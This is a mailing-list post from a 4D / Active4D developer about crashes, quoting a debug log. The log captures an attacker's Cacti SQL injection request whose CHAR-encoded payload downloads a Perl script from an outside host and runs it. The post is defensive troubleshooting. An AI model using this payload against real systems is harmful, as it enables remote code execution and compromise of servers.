We have been having what appears to be random crashes of our 4D / A4D application. After finally getting the 4D Debug Log turned on and set to 'detail', we have this at the end of the log.

Our application runs in this environment:

Server: IBM PC
4D: 2004.6 Volume Runtime
Web Server: 4D Web Server
Active 4D: 3.0.1b7 (we are switching to A4D 4.0 with the next major release, due any day)

Has anyone else experienced this?
Can I use the A4D_PreOnWebConnectionHook to filter these types of URLs out?



3012781 [6]     cmd: SET COLOR (A4D_SORTSESSIONSTATS).
3012781 [6]     cmd: SORT ARRAY (A4D_SORTSESSIONSTATS).
3012781 [6]     cmd: Dec (A4D_UPDATESESSIONSTATS).
3012781 [6]     cmd: Trunc (A4D_UPDATESESSIONSTATS).
3012781 [6]     cmd: String (A4D_UPDATESESSIONSTATS).
3012781 [6]     cmd: String (A4D_UPDATESESSIONSTATS).
3012781 [6]     cmd: Char (A4D_UPDATESESSIONSTATS).
3012781 [6]     cmd: String (A4D_UPDATESESSIONSTATS).
3012781 [6]     cmd: String (A4D_UPDATESESSIONSTATS).

3012843 [7] webUrl: /cacti/cmd.php?1 1111)/**/UNION/**/SELECT/**/ 2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR (112,114,111,99),null,1,300,0,CHAR (32,114,109,32,45,114,102,32,47,116,109,112,47,100,101,115,107,46,112,10 8,59,119,103,101,116,32,119,119,119,46,115,104,97,100,121,46,49,115,116, 104,111,115,116,46,111,114,103,47,100,101,115,107,46,112,108,32,45,79,32 , 47,116,109,112,47,100,101,115,107,46,112,108,59,112,101,114,108,32,47,11 6,109,112,47,100,101,115,107,46,112,108,59,114,109,32,45,114,102,32,47,1 16,109,112,47,111,117,116,32,62,32,46,47,114,114,97,47,115,117,110,116,1 22,117,46,108,111,103),null,null/**/FROM/**/host/* 11111 3012843 [7] onWebAuthentificationCall: /cacti/cmd.php?1 1111)/**/ UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null, 1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR (32,114,109,32,45,114,102,32,47,116,109,112,47,100,101,115,107,46,112,10 8,59,119,103,101,116,32,119,119,119,46,115,104,97,100,121,46,49,115,116, 104,111,115,116,46,111,114,103,47,100,101,115,107,46,112,108,32,45,79,32 , 47,116,109,112,47,100,101,115,107,46,112,108,59,112,101,114,108,32,47,11 6,109,112,47,100,101,115,107,46,112,108,59,114,109,32,45,114,102,32,47,1 16,109,112,47,111,117,116,32,62,32,46,47,114,114,97,47,115,117,110,116,1 22,117,46,108,111,103),null,null/**/FROM/**/host/* 11111

3012843 [7] end_onWebAuthentificationCall
3012843 [7] onWebConnectionCall: /cacti/cmd.php?1 1111)/**/UNION/**/ SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null, 161,500,CHAR(112,114,111,99),null,1,300,0,CHAR (32,114,109,32,45,114,102,32,47,116,109,112,47,100,101,115,107,46,112,10 8,59,119,103,101,116,32,119,119,119,46,115,104,97,100,121,46,49,115,116, 104,111,115,116,46,111,114,103,47,100,101,115,107,46,112,108,32,45,79,32 , 47,116,109,112,47,100,101,115,107,46,112,108,59,112,101,114,108,32,47,11 6,109,112,47,100,101,115,107,46,112,108,59,114,109,32,45,114,102,32,47,1 16,109,112,47,111,117,116,32,62,32,46,47,114,114,97,47,115,117,110,116,1 22,117,46,108,111,103),null,null/**/FROM/**/host/* 11111

3012843 [7]     cmd: MESSAGES OFF (* ON WEB CONNECTION).
3012843 [7]     cmd: READ ONLY (* ON WEB CONNECTION).
3012843 [7]     cmd: ON ERR CALL (* ON WEB CONNECTION).
3012843 [7]     cmd: SET BLOB SIZE (* ON WEB CONNECTION).
3012843 [7]     cmd: ARRAY TEXT (* ON WEB CONNECTION).
3012843 [7]     cmd: ARRAY TEXT (* ON WEB CONNECTION).
3012843 [7]     cmd: ARRAY TEXT (* ON WEB CONNECTION).
3012843 [7]     cmd: Secured Web connection (* ON WEB CONNECTION).
3012843 [7]     cmd: ARRAY TEXT (* ON WEB CONNECTION).
3012843 [7]     cmd: ARRAY TEXT (* ON WEB CONNECTION).
3012843 [7]     cmd: GET WEB FORM VARIABLES (* ON WEB CONNECTION).
3012843 [7]     plugInName: Active4D 3.0; cmd: A4D Execute 4D request
3012843 [7]     plugInName: Active4D 3.0; externCall: -91.



---------------------------------------------------
Stuart Holroyd             AKTIV Software Corporation
[EMAIL PROTECTED]     http://www.aktiv.com
Tel: 250.658.6300
Fax: 250.658.6201



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